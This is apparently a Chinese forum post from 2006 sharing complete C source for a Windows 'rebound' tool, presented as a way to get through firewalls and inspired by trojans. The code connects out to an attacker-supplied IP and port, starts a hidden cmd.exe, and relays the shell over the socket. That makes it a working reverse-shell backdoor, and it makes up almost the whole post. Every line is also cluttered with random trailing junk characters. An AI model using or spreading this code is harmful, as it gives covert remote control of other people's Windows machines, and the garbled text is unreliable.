这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I}JC ~=`j
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/* ============================== f7B)iI!
Rebound port in Windows NT o HqBNTyH
By wind,2006/7 5U)Ia>p
===============================*/ qcau(#I9.
#include 7x8/Vz@\
#include aO:wedfl
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#pragma comment(lib,"wsock32.lib") m$^Wyk}
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void OutputShell(); f9FJ:?
SOCKET sClient; LIfQh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .U.Knn
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void main(int argc,char **argv) eXo7_#
{ ~DYUI#x
WSADATA stWsaData; -4du`dg
int nRet; %M"rc4Xd
SOCKADDR_IN stSaiClient,stSaiServer; VF8pH<
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if(argc != 3) jK`b6:#(,
{ $ ?ayE
printf("Useage:\n\rRebound DestIP DestPort\n"); bCWSh~
return; X@l>mAk
} qffVF|7
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WSAStartup(MAKEWORD(2,2),&stWsaData); $tKz|H)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3d<Z##`{4
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stSaiClient.sin_family = AF_INET; ]w7wwU^^*U
stSaiClient.sin_port = htons(0); alr'If@7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ! @EZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A7U]wW9
{ b+b].,
printf("Bind Socket Failed!\n"); 6"@`iY
return; 3a|I| NP
} gJ \CT'/
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stSaiServer.sin_family = AF_INET; lVb{bO9-O
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2c)Ez?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 42E%&DF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'YFy6rds
{ a]=k-Xh
printf("Connect Error!"); aK|],L
return; B EN
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} wk+| }s
OutputShell(); 0j\} @
} QOT|6)Yb
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void OutputShell() K9\r2w'T'
{ +f){x9
:
char szBuff[1024]; l% \p
SECURITY_ATTRIBUTES stSecurityAttributes; Z'!Ii+'6
OSVERSIONINFO stOsversionInfo; 5rX_85 ]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a_z1S Z2[
STARTUPINFO stStartupInfo; AHB_[i'>7
char *szShell; (T65pP_P 7
PROCESS_INFORMATION stProcessInformation; bukdyo;l
unsigned long lBytesRead; $^K12Wcp-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P7`RAz
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xd 5 vNmQn
stSecurityAttributes.lpSecurityDescriptor = 0; KA/~q"N
stSecurityAttributes.bInheritHandle = TRUE; dy"7Wl]hi7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]H-5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); prw% )#,
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !n^7&Y[N;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *KYh_i
stStartupInfo.wShowWindow = SW_HIDE; ]K-B#D{P
stStartupInfo.hStdInput = hReadPipe; GeFu_7u!|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ET\>cxSp
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GetVersionEx(&stOsversionInfo); fG"4\A
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switch(stOsversionInfo.dwPlatformId) bMGU9~CeJ
{ Sp-M:,H3H
case 1: !*!i&0QC~R
szShell = "command.com"; rD!UP1Nb
break; u
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default: l\6.f_
szShell = "cmd.exe"; yD yMI
break; LZ4Z]!V
} z{(c-7*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?WBA:?=$58
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send(sClient,szMsg,77,0); Ih_=yk
while(1) 2PViY,V|
{ F* _ytL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `ZPV.u/
if(lBytesRead) &eFv~9
{ 4mci@1K#^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ey]P
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send(sClient,szBuff,lBytesRead,0); _xdFQ
} KY9&Ky+2 B
else 0#!Z1:Y
{ v]U0@#/p
lBytesRead=recv(sClient,szBuff,1024,0); yr
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if(lBytesRead<=0) break; ]GmXZi
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9 UcSQ"D
} ^T_2s
} X@^"@
ct@i]}"`
return; 3sz?49tX
}